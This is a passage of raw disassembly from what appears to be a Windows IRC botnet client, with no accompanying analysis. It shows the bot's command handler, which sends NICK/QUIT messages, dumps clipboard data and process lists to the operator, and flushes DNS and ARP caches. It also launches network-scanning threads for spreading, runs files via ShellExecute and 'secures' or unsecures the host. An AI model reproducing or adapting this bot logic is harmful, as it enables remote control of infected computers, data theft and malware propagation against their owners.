loc_40A3F5: ; CODE XREF: sub_4077FD+1376j
; sub_4077FD+138Bj
mov esi, [ebp+arg_10]
push esi
call dword_42D8B4 ; inet_addr
cmp eax, 0FFFFFFFFh
mov [ebp+arg_0], eax
jz short loc_40A41D
push 2
lea eax, [ebp+arg_0]
push 4
push eax
call dword_42D834 ; gethostbyaddr
cmp eax, ebx
jz short loc_40A44D
push dword ptr [eax]
jmp short loc_40A436
; ---------------------------------------------------------------------------
loc_40A41D: ; CODE XREF: sub_4077FD+2C08j
push esi
call dword_42D8F8 ; gethostbyname
cmp eax, ebx
jz short loc_40A44D
mov eax, [eax+0Ch]
mov eax, [eax]
push dword ptr [eax]
call dword_42D900 ; inet_ntoa
push eax
loc_40A436: ; CODE XREF: sub_4077FD+2C1Ej
push esi
lea eax, [ebp+var_2E4]
push offset dword_41EA7C
push eax
call sub_40C6C3
jmp loc_40A33A
; ---------------------------------------------------------------------------
loc_40A44D: ; CODE XREF: sub_4077FD+2C1Aj
; sub_4077FD+2C29j
push offset dword_41EA54
lea eax, [ebp+var_2E4]
jmp loc_409C7C
; ---------------------------------------------------------------------------
loc_40A45D: ; CODE XREF: sub_4077FD+134Cj
; sub_4077FD+1361j
push 7Fh
push [ebp+arg_10]
push [ebp+arg_14]
call sub_40C720
push [ebp+arg_10]
lea eax, [ebp+var_2E4]
push offset unk_41EA2C
push eax
call sub_40C6C3
add esp, 18h
jmp loc_409BB9
; ---------------------------------------------------------------------------
loc_40A486: ; CODE XREF: sub_4077FD+1322j
; sub_4077FD+1337j
push 5
push ebx
push ebx
push [ebp+arg_10]
push offset aOpen ; "open"
push ebx
call dword_42D7F8
push [ebp+arg_10]
test eax, eax
jz short loc_40A4AA
push offset dword_41EA0C
jmp loc_40B08E
; ---------------------------------------------------------------------------
loc_40A4AA: ; CODE XREF: sub_4077FD+2CA1j
push offset unk_41E9E4
jmp loc_40B08E
; ---------------------------------------------------------------------------
loc_40A4B4: ; CODE XREF: sub_4077FD+12F8j
; sub_4077FD+130Dj
mov eax, [ebp+arg_10]
mov cl, [eax]
mov byte_41DE50, cl
movsx eax, byte ptr [eax]
push eax
push offset unk_41E9BC
jmp loc_40B129
; ---------------------------------------------------------------------------
loc_40A4CD: ; CODE XREF: sub_4077FD+12CEj
; sub_4077FD+12E3j
push [ebp+arg_10]
push offset aAll ; "all"
call sub_40D860
pop ecx
test eax, eax
pop ecx
jnz short loc_40A50C
call sub_40C225
cmp eax, ebx
jle short loc_40A4F4
push eax
push offset dword_41E990
jmp loc_408FEC
; ---------------------------------------------------------------------------
loc_40A4F4: ; CODE XREF: sub_4077FD+2CEAj
push offset dword_41E964
loc_40A4F9: ; CODE XREF: sub_4077FD+1CE6j
; sub_4077FD+1D46j
lea eax, [ebp+var_2E4]
push eax
call sub_40C6C3
pop ecx
pop ecx
jmp loc_408FFB
; ---------------------------------------------------------------------------
loc_40A50C: ; CODE XREF: sub_4077FD+2CE1j
mov eax, [ebp+var_24]
lea edi, [eax+1]
jmp short loc_40A580
; ---------------------------------------------------------------------------
loc_40A514: ; CODE XREF: sub_4077FD+2D86j
mov esi, [ebp+edi*4+var_A4]
cmp esi, ebx
jz loc_407C50
push esi
call sub_40D9BF
push eax
call sub_40C19D
pop ecx
pop ecx
test eax, eax
push esi
lea eax, [ebp+var_2E4]
jz short loc_40A543
push offset dword_41E940
jmp short loc_40A548
; ---------------------------------------------------------------------------
loc_40A543: ; CODE XREF: sub_4077FD+2D3Dj
push offset dword_41E914
loc_40A548: ; CODE XREF: sub_4077FD+2D44j
push eax
call sub_40C6C3
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz short loc_40A572
push ebx
lea eax, [ebp+var_2E4]
push [ebp+var_4]
push eax
push [ebp+var_9C]
push [ebp+arg_4]
call sub_404555
add esp, 14h
loc_40A572: ; CODE XREF: sub_4077FD+2D57j
lea eax, [ebp+var_2E4]
push eax
call sub_403145
pop ecx
inc edi
loc_40A580: ; CODE XREF: sub_4077FD+2D15j
cmp edi, 20h
jb short loc_40A514
jmp loc_407C50
; ---------------------------------------------------------------------------
loc_40A58A: ; CODE XREF: sub_4077FD+12A4j
; sub_4077FD+12B9j
cmp [ebp+var_C], ebx
jz loc_40B19B
push [ebp+arg_10]
push [ebp+var_C]
call sub_40E4B0
pop ecx
cmp eax, ebx
pop ecx
jz loc_40B19B
push eax
push offset dword_41BC38
jmp loc_409FD0
; ---------------------------------------------------------------------------
loc_40A5B3: ; CODE XREF: sub_4077FD+127Aj
; sub_4077FD+128Fj
push [ebp+arg_10]
push offset dword_41EC90
jmp loc_409FD0
; ---------------------------------------------------------------------------
loc_40A5C0: ; CODE XREF: sub_4077FD+1250j
; sub_4077FD+1265j
push [ebp+edi+var_9C]
push [ebp+arg_10]
jmp loc_40A029
; ---------------------------------------------------------------------------
loc_40A5CF: ; CODE XREF: sub_4077FD+1226j
; sub_4077FD+123Bj
push [ebp+arg_10]
push offset aNickS ; "NICK %s\r\n"
jmp loc_409FD0
; ---------------------------------------------------------------------------
loc_40A5DC: ; CODE XREF: sub_4077FD+11EAj
; sub_4077FD+11FFj
mov al, byte_41DE6A
mov [ebp+arg_0], ebx
cmp al, bl
mov edx, offset byte_41DE6A
jz loc_407C50
mov ecx, edx
loc_40A5F3: ; CODE XREF: sub_4077FD+2DFEj
inc [ebp+arg_0]
add ecx, 0Bh
cmp [ecx], bl
jnz short loc_40A5F3
cmp al, bl
jz loc_407C50
mov [ebp+arg_18], edx
loc_40A608: ; CODE XREF: sub_4077FD+30B7j
push 7
pop esi
push esi
call sub_40C2A4
pop ecx
mov ecx, eax
mov eax, 190h
cdq
idiv [ebp+arg_0]
mov edx, eax
mov eax, 258h
add edx, ecx
cmp edx, eax
jle short loc_40A65D
push ecx
lea eax, [ebp+var_2E4]
push offset unk_41F10C
push eax
call sub_40C6C3
push ebx
lea eax, [ebp+var_2E4]
push [ebp+var_4]
push eax
push [ebp+var_9C]
push [ebp+arg_4]
call sub_404555
add esp, 20h
jmp loc_40A8AB
; ---------------------------------------------------------------------------
loc_40A65D: ; CODE XREF: sub_4077FD+2E2Bj
or [ebp+var_300], 0FFFFFFFFh
cmp dword_41A068, ebx
mov [ebp+var_304], 14h
mov [ebp+var_318], esi
mov [ebp+var_314], eax
mov [ebp+arg_0], ebx
jz short loc_40A6C6
mov eax, [ebp+arg_18]
mov esi, offset dword_41A068
lea edi, [eax-0Ah]
loc_40A690: ; CODE XREF: sub_4077FD+2EABj
lea eax, [esi-28h]
push edi
push eax
call sub_40D860
pop ecx
test eax, eax
pop ecx
jz short loc_40A6AC
inc [ebp+arg_0]
add esi, 3Ch
cmp [esi], ebx
jnz short loc_40A690
jmp short loc_40A6C6
; ---------------------------------------------------------------------------
loc_40A6AC: ; CODE XREF: sub_4077FD+2EA1j
mov eax, [ebp+arg_0]
mov ecx, eax
mov [ebp+var_300], eax
imul ecx, 3Ch
mov ecx, dword_41A068[ecx]
mov [ebp+var_31C], ecx
loc_40A6C6: ; CODE XREF: sub_4077FD+2E86j
; sub_4077FD+2EADj
cmp [ebp+var_31C], ebx
jz loc_40A8D1
push 10h
lea eax, [ebp+arg_10]
pop esi
push eax
lea eax, [ebp+var_D8]
push eax
mov [ebp+arg_10], esi
push [ebp+arg_4]
call dword_42D820 ; getsockname
mov al, [ebp+var_8CF]
push esi
neg al
sbb eax, eax
and ax, 100h
add eax, 0FFFFh
and [ebp+var_D4], eax
push [ebp+var_D4]
call dword_42D900 ; inet_ntoa
push eax
lea eax, [ebp+var_430]
push eax
call sub_40C720
xor eax, eax
cmp [ebp+var_8CF], bl
push 30h
setnz al
inc eax
inc eax
mov esi, eax
lea eax, [ebp+var_430]
push eax
call sub_40EA30
add esp, 14h
cmp esi, ebx
mov byte ptr [ebp+arg_24+3], bl
jle short loc_40A768
loc_40A746: ; CODE XREF: sub_4077FD+2F69j
cmp eax, ebx
jz short loc_40A768
mov byte ptr [eax], 78h
lea eax, [ebp+var_430]
push 30h
push eax
call sub_40EA30
inc byte ptr [ebp+arg_24+3]
pop ecx
pop ecx
movsx ecx, byte ptr [ebp+arg_24+3]
cmp ecx, esi
jl short loc_40A746
loc_40A768: ; CODE XREF: sub_4077FD+2F47j
; sub_4077FD+2F4Bj
mov eax, [ebp+arg_4]
push [ebp+var_9C]
mov esi, [ebp+var_4]
mov edi, [ebp+var_8]
mov [ebp+var_320], eax
lea eax, [ebp+var_420]
push 80h
push eax
mov [ebp+var_2F0], 1
mov [ebp+var_2F8], esi
mov [ebp+var_2F4], edi
call sub_40D3F7
push offset byte_4242F0
push offset aPrv_1 ; "#prv##"
call sub_40D860
add esp, 14h
test eax, eax
jz short loc_40A7D5
push offset aPrv_1 ; "#prv##"
lea eax, [ebp+var_3A0]
push 80h
push eax
call sub_40D3F7
add esp, 0Ch
jmp short loc_40A7DB
; ---------------------------------------------------------------------------
loc_40A7D5: ; CODE XREF: sub_4077FD+2FBBj
mov [ebp+var_3A0], bl
loc_40A7DB: ; CODE XREF: sub_4077FD+2FD6j
cmp [ebp+var_2F0], ebx
mov eax, offset aRandom ; "Random"
jnz short loc_40A7ED
mov eax, offset aSequential ; "Sequential"
loc_40A7ED: ; CODE XREF: sub_4077FD+2FE9j
push [ebp+var_304]
lea ecx, [ebp+var_430]
push [ebp+var_314]
push [ebp+var_318]
push [ebp+var_31C]
push ecx
push eax
lea eax, [ebp+var_2E4]
push offset unk_41F020
push eax
call sub_40C6C3
push ebx
lea eax, [ebp+var_2E4]
push 7
push eax
call sub_40C062
add esp, 2Ch
mov [ebp+var_310], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_430]
push ebx
push eax
push offset sub_401704
push ebx
push ebx
call dword_418048 ; CreateThread
mov ecx, [ebp+var_310]
imul ecx, 234h
cmp eax, ebx
mov dword_42F41C[ecx], eax
jnz short loc_40A8C7
call dword_418044 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_2E4]
push offset unk_41EFE8
push eax
call sub_40C6C3
add esp, 0Ch
loc_40A880: ; CODE XREF: sub_4077FD+30D2j
cmp edi, ebx
jnz short loc_40A89E
push ebx
lea eax, [ebp+var_2E4]
push esi
push eax
push [ebp+var_9C]
push [ebp+arg_4]
call sub_404555
add esp, 14h
loc_40A89E: ; CODE XREF: sub_4077FD+3085j
lea eax, [ebp+var_2E4]
push eax
call sub_403145
pop ecx
loc_40A8AB: ; CODE XREF: sub_4077FD+2E5Bj
add [ebp+arg_18], 0Bh
mov eax, [ebp+arg_18]
cmp [eax], bl
jnz loc_40A608
jmp loc_407C50
; ---------------------------------------------------------------------------
loc_40A8BF: ; CODE XREF: sub_4077FD+30D0j
push 32h
call dword_418040 ; Sleep
loc_40A8C7: ; CODE XREF: sub_4077FD+3066j
cmp [ebp+var_2EC], ebx
jz short loc_40A8BF
jmp short loc_40A880
; ---------------------------------------------------------------------------
loc_40A8D1: ; CODE XREF: sub_4077FD+2ECFj
push offset unk_41F0D4
loc_40A8D6: ; CODE XREF: sub_4077FD+30FDj
lea eax, [ebp+var_2E4]
push eax
call sub_40C6C3
pop ecx
pop ecx
jmp loc_409BB9
; ---------------------------------------------------------------------------
loc_40A8E9: ; CODE XREF: sub_4077FD+11C0j
; sub_4077FD+11D5j
push 4
call sub_40C2A4
test eax, eax
pop ecx
jle short loc_40A8FC
push offset unk_41E8F4
jmp short loc_40A8D6
; ---------------------------------------------------------------------------
loc_40A8FC: ; CODE XREF: sub_4077FD+30F6j
mov eax, [ebp+edi+var_A0]
mov esi, 104h
cmp eax, ebx
jz short loc_40A91F
push eax
lea eax, [ebp+var_584]
push esi
push eax
call sub_40D3F7
add esp, 0Ch
jmp short loc_40A92E
; ---------------------------------------------------------------------------
loc_40A91F: ; CODE XREF: sub_4077FD+310Dj
lea eax, [ebp+var_584]
push esi
push eax
push ebx
call dword_41804C ; GetModuleFileNameA
loc_40A92E: ; CODE XREF: sub_4077FD+3120j
mov edi, [ebp+edi+var_9C]
cmp edi, ebx
jnz short loc_40A93E
mov edi, offset byte_41DF08
loc_40A93E: ; CODE XREF: sub_4077FD+313Aj
push edi
lea eax, [ebp+var_480]
push esi
push eax
call sub_40D3F7
mov eax, dword_41DE40
push 7Fh
push [ebp+var_9C]
mov [ebp+var_374], eax
mov eax, [ebp+arg_4]
mov [ebp+var_378], ebx
mov [ebp+var_588], eax
lea eax, [ebp+var_370]
push eax
call sub_40C720
mov eax, [ebp+var_4]
mov [ebp+var_2F0], eax
mov eax, [ebp+var_8]
mov [ebp+var_2EC], eax
lea eax, [ebp+var_480]
push eax
lea eax, [ebp+var_584]
push eax
lea eax, [ebp+var_2E4]
push [ebp+var_374]
push offset unk_41A458
push eax
call sub_40C6C3
push ebx
lea eax, [ebp+var_2E4]
push 4
push eax
call sub_40C062
add esp, 38h
mov [ebp+var_37C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_588]
push ebx
push eax
push offset sub_40BB81
push ebx
push ebx
call dword_418048 ; CreateThread
mov ecx, [ebp+var_37C]
imul ecx, 234h
cmp eax, ebx
mov dword_42F41C[ecx], eax
jnz short loc_40AA11
call dword_418044 ; RtlGetLastWin32Error
push eax
push offset unk_41E8B8
jmp loc_40B129
; ---------------------------------------------------------------------------
loc_40AA09: ; CODE XREF: sub_4077FD+321Aj
push 32h
call dword_418040 ; Sleep
loc_40AA11: ; CODE XREF: sub_4077FD+31F9j
cmp [ebp+var_2E8], ebx
jz short loc_40AA09
jmp loc_409BB9
; ---------------------------------------------------------------------------
loc_40AA1E: ; CODE XREF: sub_4077FD+1196j
; sub_4077FD+11ABj
mov edi, [ebp+edi+var_A0]
cmp edi, ebx
jz short loc_40AA31
push edi
call sub_40D9BF
jmp short loc_40AA38
; ---------------------------------------------------------------------------
loc_40AA31: ; CODE XREF: sub_4077FD+322Aj
push 7
call sub_40C2C3
loc_40AA38: ; CODE XREF: sub_4077FD+3232j
cmp eax, ebx
pop ecx
jz loc_40B19B
push eax
push [ebp+var_4]
push [ebp+var_9C]
push [ebp+arg_4]
call sub_4010CA
loc_40AA53: ; CODE XREF: sub_4077FD+2839j
add esp, 10h
jmp loc_40B19B
; ---------------------------------------------------------------------------
loc_40AA5B: ; CODE XREF: sub_4077FD+116Cj
; sub_4077FD+1181j
mov eax, dword_42D7B0
cmp eax, ebx
jz short loc_40AA7E
call eax ; DnsFlushResolverCache
test eax, eax
lea eax, [ebp+var_2E4]
jz short loc_40AA77
push offset aFlushdnsDnsCac ; "[FLUSHDNS]: DNS cache flushed."
jmp short loc_40AA9F
; ---------------------------------------------------------------------------
loc_40AA77: ; CODE XREF: sub_4077FD+3271j
push offset aFlushdnsFailed ; "[FLUSHDNS]: Failed to flush DNS cache."
jmp short loc_40AA9F
; ---------------------------------------------------------------------------
loc_40AA7E: ; CODE XREF: sub_4077FD+3265j
push offset aFlushdnsFail_0 ; "[FLUSHDNS]: Failed to load dnsapi.dll."
lea eax, [ebp+var_2E4]
jmp short loc_40AA9F
; ---------------------------------------------------------------------------
loc_40AA8B: ; CODE XREF: sub_4077FD+1142j
; sub_4077FD+1157j
call sub_405811
test eax, eax
lea eax, [ebp+var_2E4]
jz short loc_40AAAF
push offset aFlushdnsArpC_0 ; "[FLUSHDNS]: ARP cache flushed."
loc_40AA9F: ; CODE XREF: sub_4077FD+3278j
; sub_4077FD+327Fj ...
push 200h
push eax
call sub_40D3F7
jmp loc_409C95
; ---------------------------------------------------------------------------
loc_40AAAF: ; CODE XREF: sub_4077FD+329Bj
push offset aFlushdnsFail_1 ; "[FLUSHDNS]: Failed to flush ARP cache."
jmp short loc_40AA9F
; ---------------------------------------------------------------------------
loc_40AAB6: ; CODE XREF: sub_4077FD+1118j
; sub_4077FD+112Dj
cmp [ebp+var_8], ebx
jnz short loc_40AAD5
push ebx
push [ebp+var_4]
push offset aClipboardData ; "-[Clipboard Data]-"
push [ebp+var_9C]
push [ebp+arg_4]
call sub_404555
add esp, 14h
loc_40AAD5: ; CODE XREF: sub_4077FD+32BCj
push ebx
push [ebp+var_4]
call sub_405398
push eax
push [ebp+var_9C]
push [ebp+arg_4]
call sub_404555
push offset dword_41E7CC
call sub_403145
add esp, 18h
jmp loc_40B19B
; ---------------------------------------------------------------------------
loc_40AAFF: ; CODE XREF: sub_4077FD+1067j
; sub_4077FD+107Cj
push [ebp+edi+var_A0]
push [ebp+var_4]
push [ebp+var_9C]
push [ebp+arg_4]
call sub_403B00
loc_40AB17: ; CODE XREF: sub_4077FD+3A7j
add esp, 10h
jmp loc_407C50
; ---------------------------------------------------------------------------
loc_40AB1F: ; CODE XREF: sub_4077FD+103Dj
; sub_4077FD+1052j
or esi, 0FFFFFFFFh
call dword_41805C ; GetTickCount
xor edx, edx
mov ecx, 3E8h
div ecx
mov edi, [ebp+edi+var_A0]
cmp edi, ebx
mov [ebp+arg_0], eax
jz short loc_40AB48
push edi
call sub_40D9BF
pop ecx
mov esi, eax
loc_40AB48: ; CODE XREF: sub_4077FD+3340j
mov eax, [ebp+arg_0]
xor edx, edx
mov ecx, 15180h
div ecx
cmp eax, esi
jnb short loc_40AB61
cmp esi, 0FFFFFFFFh
jnz loc_40B19B
loc_40AB61: ; CODE XREF: sub_4077FD+3359j
push ebx
call sub_40B6FE
push eax
lea eax, [ebp+var_2E4]
push offset dword_41E7B0
push eax
call sub_40C6C3
push ebx
lea eax, [ebp+var_2E4]
push [ebp+var_4]
push eax
push [ebp+var_9C]
push [ebp+arg_4]
call sub_404555
lea eax, [ebp+var_2E4]
push eax
call sub_403145
add esp, 28h
jmp loc_40B19B
; ---------------------------------------------------------------------------
loc_40ABA6: ; CODE XREF: sub_4077FD+1013j
; sub_4077FD+1028j
push 1Ch
call sub_40C2A4
test eax, eax
pop ecx
jle short loc_40ABC9
cmp [ebp+var_8], ebx
jnz loc_407C50
push ebx
push [ebp+var_4]
push offset unk_41E790
jmp loc_40B2FD
; ---------------------------------------------------------------------------
loc_40ABC9: ; CODE XREF: sub_4077FD+33B3j
push [ebp+var_9C]
lea eax, [ebp+var_63C]
push 80h
push eax
call sub_40D3F7
mov eax, [ebp+arg_4]
mov edi, [ebp+edi+var_A0]
mov [ebp+var_640], eax
mov eax, [ebp+var_4]
mov [ebp+var_5B4], eax
mov eax, [ebp+var_8]
add esp, 0Ch
cmp edi, ebx
mov [ebp+var_5B0], eax
mov [ebp+var_5B8], ebx
jz short loc_40AC2A
push edi
push offset aFull ; "full"
call sub_40D860
pop ecx
test eax, eax
pop ecx
jnz short loc_40AC2A
mov [ebp+var_5B8], 1
loc_40AC2A: ; CODE XREF: sub_4077FD+3410j
; sub_4077FD+3421j
lea eax, [ebp+var_2E4]
push offset dword_41E768
push eax
call sub_40C6C3
push ebx
lea eax, [ebp+var_2E4]
push 1Ch
push eax
call sub_40C062
add esp, 14h
mov [ebp+var_5BC], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_640]
push ebx
push eax
push offset sub_405F40
push ebx
push ebx
call dword_418048 ; CreateThread
mov ecx, [ebp+var_5BC]
imul ecx, 234h
cmp eax, ebx
mov dword_42F41C[ecx], eax
jnz short loc_40ACB7
call dword_418044 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_2E4]
push offset unk_41E72C
push eax
call sub_40C6C3
add esp, 0Ch
loc_40AC9D: ; CODE XREF: sub_4077FD+1801j
; sub_4077FD+1823j ...
lea eax, [ebp+var_2E4]
push eax
call sub_403145
pop ecx
jmp loc_407C50
; ---------------------------------------------------------------------------
loc_40ACAF: ; CODE XREF: sub_4077FD+34C0j
push 32h
call dword_418040 ; Sleep
loc_40ACB7: ; CODE XREF: sub_4077FD+3483j
cmp [ebp+var_5AC], ebx
jz short loc_40ACAF
jmp short loc_40AC9D
; ---------------------------------------------------------------------------
loc_40ACC1: ; CODE XREF: sub_4077FD+FE9j
; sub_4077FD+FFEj
cmp [ebp+var_8], ebx
jnz short loc_40ACE0
push ebx
push [ebp+var_4]
push offset dword_41E710
push [ebp+var_9C]
push [ebp+arg_4]
call sub_404555
add esp, 14h
loc_40ACE0: ; CODE XREF: sub_4077FD+34C7j
push [ebp+arg_4]
call dword_42D90C ; closesocket
call dword_42D7E4 ; WSACleanup
call sub_40551B
push ebx
call dword_418074 ; ExitProcess
loc_40ACFB: ; CODE XREF: sub_4077FD+FBFj
; sub_4077FD+FD4j
push ebx
lea eax, [ebp+var_2E4]
push [ebp+var_4]
push [ebp+arg_4]
push eax
call sub_40B807
pop ecx
pop ecx
jmp short loc_40AD2B
; ---------------------------------------------------------------------------
loc_40AD12: ; CODE XREF: sub_4077FD+F95j
; sub_4077FD+FAAj
push ebx
lea eax, [ebp+var_2E4]
push [ebp+var_4]
push [ebp+arg_4]
push [ebp+arg_1C]
push eax
call sub_40BABB
add esp, 0Ch
loc_40AD2B: ; CODE XREF: sub_4077FD+3513j
push eax
push [ebp+var_9C]
loc_40AD32: ; CODE XREF: sub_4077FD+28DAj
push [ebp+arg_4]
call sub_404555
add esp, 14h
jmp loc_40B19B
; ---------------------------------------------------------------------------
loc_40AD42: ; CODE XREF: sub_4077FD+F6Bj
; sub_4077FD+F80j
push [ebp+var_4]
push [ebp+var_9C]
push [ebp+arg_4]
call sub_4030CD
jmp loc_40AF41
; ---------------------------------------------------------------------------
loc_40AD58: ; CODE XREF: sub_4077FD+F41j
; sub_4077FD+F56j
push [ebp+var_9C]
lea eax, [ebp+var_740]
push 80h
push eax
call sub_40D3F7
mov eax, [ebp+arg_4]
mov edi, [ebp+edi+var_A0]
mov [ebp+var_744], eax
mov eax, [ebp+var_4]
mov [ebp+var_6B8], eax
mov eax, [ebp+var_8]
add esp, 0Ch
cmp edi, ebx
mov [ebp+var_6B4], eax
jz short loc_40ADB2
push offset dword_41E70C
push edi
call sub_40D860
neg eax
sbb eax, eax
pop ecx
inc eax
pop ecx
mov [ebp+var_6BC], eax
jmp short loc_40ADB8
; ---------------------------------------------------------------------------
loc_40ADB2: ; CODE XREF: sub_4077FD+3599j
mov [ebp+var_6BC], ebx
loc_40ADB8: ; CODE XREF: sub_4077FD+35B3j
lea eax, [ebp+var_2E4]
push offset dword_41E6EC
push eax
call sub_40C6C3
push ebx
lea eax, [ebp+var_2E4]
push 1Dh
push eax
call sub_40C062
add esp, 14h
mov [ebp+var_6C0], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_744]
push ebx
push eax
push offset sub_40C0CD
push ebx
push ebx
call dword_418048 ; CreateThread
mov ecx, [ebp+var_6C0]
imul ecx, 234h
cmp eax, ebx
mov dword_42F41C[ecx], eax
jnz short loc_40AE38
call dword_418044 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_2E4]
push offset dword_41E6B0
push eax
call sub_40C6C3
add esp, 0Ch
jmp loc_40A35E
; ---------------------------------------------------------------------------
loc_40AE30: ; CODE XREF: sub_4077FD+3641j
push 32h
call dword_418040 ; Sleep
loc_40AE38: ; CODE XREF: sub_4077FD+3611j
cmp [ebp+var_6B0], ebx
jz short loc_40AE30
jmp loc_40A35E
; ---------------------------------------------------------------------------
loc_40AE45: ; CODE XREF: sub_4077FD+EC5j
; sub_4077FD+EDAj
push offset aKtsFinal ; "KTS-Final"
lea eax, [ebp+var_2E4]
push offset dword_41E694
push eax
call sub_40C6C3
push ebx
lea eax, [ebp+var_2E4]
push [ebp+var_4]
push eax
push [ebp+var_9C]
push [ebp+arg_4]
call sub_404555
add esp, 20h
jmp loc_40A35E
; ---------------------------------------------------------------------------
loc_40AE7C: ; CODE XREF: sub_4077FD+E9Bj
; sub_4077FD+EB0j
push dword_481BE8
call sub_40B6FE
push eax
lea eax, [ebp+var_2E4]
push offset unk_41E664
push eax
call sub_40C6C3
push ebx
lea eax, [ebp+var_2E4]
push [ebp+var_4]
push eax
push [ebp+var_9C]
push [ebp+arg_4]
call sub_404555
add esp, 24h
jmp loc_40A35E
; ---------------------------------------------------------------------------
loc_40AEBA: ; CODE XREF: sub_4077FD+E71j
; sub_4077FD+E86j
mov edi, [ebp+edi+var_A0]
cmp edi, ebx
jz short loc_40AEEC
cmp [ebp+var_C], ebx
jz short loc_40AEFB
push edi
push [ebp+var_C]
call sub_40E4B0
pop ecx
cmp eax, ebx
pop ecx
jz short loc_40AEFB
push eax
push offset aQuitS ; "QUIT :%s\r\n"
push [ebp+arg_4]
call sub_40450F
add esp, 0Ch
jmp short loc_40AEFB
; ---------------------------------------------------------------------------
loc_40AEEC: ; CODE XREF: sub_4077FD+36C6j
push offset aQuitLater ; "QUIT :later\r\n"
push [ebp+arg_4]
call sub_40450F
pop ecx
pop ecx
loc_40AEFB: ; CODE XREF: sub_4077FD+36CBj
; sub_4077FD+36DAj ...
push 0FFFFFFFEh
pop eax
jmp loc_407C53
; ---------------------------------------------------------------------------
loc_40AF03: ; CODE XREF: sub_4077FD+E47j
; sub_4077FD+E5Cj
push offset aQuitDisconnect ; "QUIT :disconnecting\r\n"
push [ebp+arg_4]
call sub_40450F
pop ecx
or eax, 0FFFFFFFFh
pop ecx
jmp loc_407C53
; ---------------------------------------------------------------------------
loc_40AF1A: ; CODE XREF: sub_4077FD+E1Dj
; sub_4077FD+E32j
push offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
push [ebp+arg_4]
call sub_40450F
pop ecx
xor eax, eax
pop ecx
jmp loc_407C53
; ---------------------------------------------------------------------------
loc_40AF30: ; CODE XREF: sub_4077FD+DF3j
; sub_4077FD+E08j
push [ebp+var_4]
push [ebp+var_9C]
push [ebp+arg_4]
call sub_401000
loc_40AF41: ; CODE XREF: sub_4077FD+27DBj
; sub_4077FD+3556j
add esp, 0Ch
jmp loc_40B19B
; ---------------------------------------------------------------------------
loc_40AF49: ; CODE XREF: sub_4077FD+D77j
; sub_4077FD+D8Cj
push [ebp+edi+var_A0]
push 1Ch
push offset aProcessList ; "Process list"
push offset aProc ; "PROC "
loc_40AF5C: ; CODE XREF: sub_4077FD+C96j
; sub_4077FD+CBFj ...
push [ebp+var_8]
push [ebp+var_4]
push [ebp+var_9C]
push [ebp+arg_4]
call sub_40C2EA
add esp, 20h
jmp loc_407C50
; ---------------------------------------------------------------------------
loc_40AF78: ; CODE XREF: sub_4077FD+C2Dj
; sub_4077FD+C42j ...
push esi
push offset aSecure ; "secure"
call sub_40D860
pop ecx
test eax, eax
pop ecx
jz short loc_40AFA0
push esi
push offset aSec ; "sec"
call sub_40D860
pop ecx
mov [ebp+var_5B8], ebx
test eax, eax
pop ecx
jnz short loc_40AFAA
loc_40AFA0: ; CODE XREF: sub_4077FD+378Aj
mov [ebp+var_5B8], 1
loc_40AFAA: ; CODE XREF: sub_4077FD+37A1j
push [ebp+var_9C]
lea eax, [ebp+var_63C]
push 80h
push eax
call sub_40D3F7
mov eax, [ebp+arg_4]
add esp, 0Ch
cmp [ebp+var_5B8], ebx
mov [ebp+var_640], eax
mov eax, [ebp+var_4]
mov [ebp+var_5B4], eax
mov eax, [ebp+var_8]
mov [ebp+var_5B0], eax
mov eax, offset aSecuring ; "Securing"
jnz short loc_40AFF1
mov eax, offset aUnsecuring ; "Unsecuring"
loc_40AFF1: ; CODE XREF: sub_4077FD+37EDj
push eax
push offset dword_41E5CC
lea eax, [ebp+var_2E4]
push 200h
push eax
call sub_40D3F7
push ebx
lea eax, [ebp+var_2E4]
push 18h
push eax
call sub_40C062
add esp, 1Ch
mov [ebp+var_5BC], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_640]
push ebx
push eax
push offset sub_40699F
push ebx
push ebx
call dword_418048 ; CreateThread
mov ecx, [ebp+var_5BC]
imul ecx, 234h
cmp eax, ebx
mov dword_42F41C[ecx], eax
jnz short loc_40B077
call dword_418044 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_2E4]
push offset unk_41E590
push eax
call sub_40C6C3
add esp, 0Ch
jmp loc_409BDA
; ---------------------------------------------------------------------------
loc_40B06F: ; CODE XREF: sub_4077FD+3880j
push 32h
call dword_418040 ; Sleep
loc_40B077: ; CODE XREF: sub_4077FD+3850j
cmp [ebp+var_5AC], ebx
jz short loc_40B06F
jmp loc_409BDA
; ---------------------------------------------------------------------------
loc_40B084: ; CODE XREF: sub_4077FD+C03j
; sub_4077FD+C18j
push offset aHum ; "Hum"
push offset dword_41E57C
loc_40B08E: ; CODE XREF: sub_4077FD+2BE9j
; sub_4077FD+2BF3j ...
lea eax, [ebp+var_2E4]
jmp loc_409C8F
; ---------------------------------------------------------------------------
loc_40B099: ; CODE XREF: sub_4077FD+BD9j
; sub_4077FD+BEEj
mov edi, [ebp+edi+var_A0]
cmp edi, ebx
jz short loc_40B0EC
push edi
call sub_40D9BF
cmp eax, ebx
pop ecx
jl short loc_40B0E4
cmp eax, 2
jge short loc_40B0E4
mov edx, [ebp+arg_18]
mov ecx, eax
shl ecx, 7
lea esi, [ecx+edx]
cmp [esi], bl
jz short loc_40B0DC
lea eax, [esi+1]
push eax
lea eax, [ebp+var_2E4]
push offset unk_41F8B0
push eax
call sub_40C6C3
mov [esi], bl
jmp short loc_40B135
; ---------------------------------------------------------------------------
loc_40B0DC: ; CODE XREF: sub_4077FD+38C4j
push eax
push offset unk_41E54C
jmp short loc_40B129
; ---------------------------------------------------------------------------
loc_40B0E4: ; CODE XREF: sub_4077FD+38B0j
; sub_4077FD+38B5j
push eax
push offset unk_41E51C
jmp short loc_40B129
; ---------------------------------------------------------------------------
loc_40B0EC: ; CODE XREF: sub_4077FD+38A5j
mov edi, [ebp+arg_18]
xor esi, esi
loc_40B0F1: ; CODE XREF: sub_4077FD+3910j
push [ebp+var_A4]
push edi
call sub_40D860
pop ecx
test eax, eax
pop ecx
jz short loc_40B114
inc esi
add edi, 80h
cmp esi, 2
jl short loc_40B0F1
jmp loc_409BB9
